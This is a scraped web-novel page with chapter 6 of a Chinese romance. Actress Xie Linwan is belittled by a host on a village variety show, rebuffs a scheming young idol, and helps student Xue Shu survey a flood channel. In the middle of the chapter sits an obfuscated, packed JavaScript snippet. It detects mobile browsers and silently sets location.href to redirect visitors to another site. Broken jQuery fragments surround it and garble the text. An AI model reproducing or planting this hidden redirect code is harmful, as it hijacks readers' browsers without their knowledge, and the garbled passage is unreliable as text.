默认冷灰
24号文字
方正启体

6. 第 6 章

作者:徒生本书字数:K更新时间:
    谢临晚心情很好,来了这村里七天,她终于把这鸟不拉屎的地方给看顺眼了一些。


    薛述的那条朋友圈,她没有评论也没有点赞。


    因为平心而论,她和薛述的关系不过是萍水相逢,点头之交。


    等离开了这个村子之后,她们的人生几乎不会有任何交集,所以给对方朋友圈点赞评论就显得太过越界。


    综上,谢临晚觉得自己的心情变好跟薛述的关系不大,只是拍摄录制的时候比以往笑容多了点,结果被人蹬鼻子上脸,问到了脸上,“小谢啊,让我来考考你,你知道咱们国家的粮食主产区在哪些地方?”


    那位知名艺人前辈主持应该是到点了,爹味再次发作,当着镜头要给谢临晚上课。


    谢临晚也没冷脸,只不咸不淡地摇了下头。


    对方的眼睛不着痕迹地上下打量了一下她,笑呵呵道,“哎呀,你们这些年轻人总喜欢躺在家里面玩手机,连这个都不知道…”


    另一位飞行男嘉宾马上接过了话头,举着手回答了对方的话,“老师老师,我知道这个——”


    不过不知道是不是因为这样的机灵无意之中又惹怒了那位爹味前辈,对于飞行男嘉宾的回答爹味主持只点了下头。


    本来以为这一页都翻过去了,没想到等到拍摄用餐的时候,对方忽然开口问那位飞行男嘉宾吃没吃过鱼子酱?


    男嘉宾刚出道没多久,实诚地摇摇头,说没有。


    知名男主持道,“那你今天可得好好尝尝了,这可是顶级的野生鲟鱼鱼子酱,来自希腊。”


    “是吗?那我可得好好尝一下了。”飞行男嘉宾听了这话之后马上赔笑着挖了一勺送进了嘴里。


    结果还没有尝出味道,那名男主持忽然大声地说道,“大傻秋啊!谁教你这么吃鱼子酱的呀?你这吃法都不对啊,鱼子酱这个东西得放在你手的虎口上,用你的体温感受它,你这样直接送进嘴里,那不是暴殄天物吗??”


    说着还很夸张地学了一下飞行男嘉宾的动作,逗得大家哈哈大笑。


    另外几个男女艺人也非常势利眼地反应了过来,开始明着打趣,实则阴阳那名不太出名的男飞行嘉宾,“这你都不会?”


    “来的时候没有好好做做功课吧。”


    “哎呀没事没事,你听张老师的,把鱼子酱像我这么放在虎口,哎——对啰,我这样做没错吧张老师?”


    被众人恭维的爹味男主持笑得非常开心,而那名飞行嘉宾脸上则有点挂不住了,坐在那里很尴尬地笑着。


    谢临晚见状只冷着脸,也直接挖了一勺送进嘴里,平静道,“我觉得这样吃也可以。”


    谁吃个鱼子酱这么多事儿?


    谢临晚的话音刚落,场面一静。


    那名飞行男嘉宾目光朝她投了过来,然后落在了为首的男主持身上,下一秒,那名飞行男嘉宾就卖乖似的指着谢临晚对前辈们道,“小晚姐也这样吃呢,她还挖了好大一勺子。”


    谢临晚静了一瞬。


    爹味男主持早就看谢临晚不顺眼了,长得漂亮又有什么用?前两天对他的暗示无动于衷,挂脸也就罢了,还当众给他难堪。


    于是笑起来对那名飞行男嘉宾拍着肩膀道,“小凌呀,你得体谅一下你小晚姐,你小晚姐好像是内地人吧?这种顶级鱼子酱她没见过,没吃过,没事!反正咱们节目组报销,今天想吃多少吃多少。”


    说着就把那盒鱼子酱推到了谢临晚的手边。


    谢临晚没有动,抬起眼帘看了男主持一眼,然后问,“张老师,这鱼子酱的产地是哪里?”


    对方虚伪地笑着:“你记性真的很不好哦,空了多读书,不要总是抱着手机玩——我那会儿不是跟你说了吗?是希腊。”


    谢临晚伸出一根手指,指着鱼子酱盖子上面的文字道,“这个是波斯语,意思是产自伊朗。”


    场面再度再次安静了下来。


    知名男主持皮笑肉不笑,“没想到小谢知道的还挺多的,我刚刚只是想考考你罢了。”


    “哦,我以为你不认识。”谢临晚平静道。


    对方脸彻底黑了下去。


    下午的录制不欢而散。


    知名男主持人在片场发了好大的火,指桑骂槐了一通。


    谢临晚权当听不见,坐在椅子上喝咖啡。


    喝累了就站起来四处溜达,去化妆间补妆的时候碰巧遇上了那位年轻的飞行男嘉宾。谢临晚记得他的名字,叫凌秋海,是爱豆男团出身,最近在拍戏,来上节目就是想打开点知名度。


    谢临晚没有表情地错开了目光,没打招呼。


    结果对方忽然开了口,“晚姐姐。”


    闻言,谢临晚停住脚步,转头看着他,“叫我名字就好。”


    不然听着恶心。


    凌秋海长了一张比较精致女生气的脸,看样子动了不少的位置,明明才十八岁的年纪,但是那双眼睛和别的老油条看起来差不多,一样写满了算计:“那会儿谢谢晚姐姐帮我解围。”


    谢临晚没说话。


    凌秋海朝着她迈了一步,然后很刻意地侧着自己最好看的左脸靠近谢临晚,嗓音压了压,讨好道:“晚姐姐不会生我的气了吧?我那会儿只是跟大家一样开个玩笑~”


    说着还伸手牵了一下谢临晚的衣角,小幅度地撒娇晃动,“原谅我好不好呀姐姐~”


    谢临晚无动于衷地头微微歪了一下,用一种很冷漠但又困惑的眼神看着凌秋海,“抱歉,我跟你很熟吗?”


    “……”


    凌秋海脸上挂不住了,手也垂了下来。


    他年纪还太小,还没有完全学会伪装,过早地进入名利场的人似乎都有认不清自己位置的通病,以为所有的都可以交易,都可以买卖。


    而一旦意识到对方不如自己心意,不像粉丝那样顺着自己来时就会感到愤怒,所以他也拉着脸,直起了腰对谢临晚假笑道:“只是想谢一下前辈罢了,我又没有别的意思。”


    说完他还彬彬有礼地鞠一躬:“那就不打扰谢老师了,我先走了。”


    擦身而过的时候谢临晚听见对方轻骂了一句“装什么啊”,她听见了也无所谓地当没听见,径直走向化妆间。


    因为没有回头,所以她自然也没有看到凌秋海在错过她时关掉的手机屏幕。


    ***


    卸了妆出来后的谢临晚被导演叫过去骂了一顿,虽然没有明着说她不该那么对前辈讲话,但就是鸡蛋挑骨地似的说她在拍摄的时候走位这里不对,那里不对,还说她挡了别人的镜头。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029096|194496||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>最后骂她:“你能干就干,不能干就滚!不要因为你一个人就影响了整个节目的进度!”


    二十五岁的谢临晚没有表情地鞠躬道歉,说自己下次会注意。


    导演发了一通火之后让谢临晚哪凉快哪待着,谢临晚没吭声,出了录制地之后才从口袋里翻出一根烟点上。


    阴着脸在田坝上到处走。


    一支烟抽完了以后,她不知不觉走到了水渠旁边,然后就看见了穿着简单的白T恤和牛仔裤,正蹲在田埂边,耐心地向一个倔强的老农说着什么的薛述。


    半下午的阳光很好,还有点晒,没有戴草帽的薛述被太阳照着。


    阳光落在她汗湿的额发和专注的侧脸上,衬得她眼睛清澈而坚定,带着一种与周围浮躁的节目组格格不入的,沉静的力量。


    谢临晚站在不远处看了半晌,然后鬼使神差地摸出手机,对着对方拍照。


    结果在按下拍照键的同时,薛述像是有感觉似的回过了头,躲狗仔很有一套的谢临晚见状立马自然地收了手机,然后云淡风轻地走了过去。


    大大方方地打招呼道,“好巧。”


    薛述认出她了,点点头,“挺巧的。”


    然后转头继续跟那名老农讲话,谢临晚站在那里听了一会儿,从模糊的方言里听懂了双方好像是在因为水渠的问题而争执。


    最后应该是被薛述说服了,老农不情不愿地扛着锄头,依依不舍地离开了水渠。


    等人走远了,谢临晚才问,“你跟他在说什么?”


    薛述从裤兜里拿出别着的水,仰头喝了好大一口,然后才回答谢临晚的话,“他说这水渠占了他的田,想在这儿刨道口子。”


    薛述这个人说话永远不紧不慢的,有点与年龄不相符的沉稳。


    谢临晚似懂非懂,“刨了的话这水渠……?”


    “会塌。”薛述指了指她们脚下的水渠不算高的堤坝,“这是新挖的防洪渠,还没水泥加固,是雨季用来泄洪用的。”


    后面又说了一些专业术语,谢临晚有点听不懂,就问,“你不是学土地资源管理的吗,怎么这也懂?”


    “必修课学过。”


    谢临晚就逗了下她,“原来是小学霸啊。”


    结果薛述闷着头不怎么高兴地回答道,“这门我挂过。”


    难怪会记得这么清楚。


    谢临晚笑了,问她测绘完了吗?


    薛述指着不远处立在那里的有点类似于三脚架的设备,“测了一半,学姐男朋友过来了。”


    “要我帮忙吗,小学霸?”


    阳光下的薛述转头看她,冷不丁地问,“你帮了我的话,小蛋糕还买吗?”


    谢临晚的心情一下就变得很好,但脸上还是淡淡地笑,“买。”


    “噢。”薛述就说,“那你帮我记一下数据吧。”


    然后谢临晚就莫名其妙地在水渠坝上陪着薛述测量了一个多小时,后面去会了小男友的学姐来了,没认出谢临晚,还问薛述这是谁,怎么称呼?


    薛述拿着笔在写东西,没有看她们,回答得不紧不慢,“校外的学姐。”


    校外的学姐听了这话之后脸上的笑真诚了两分,伸手和另一个学姐打招呼道,“你好,我叫谢临晚,是学金融管理的。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)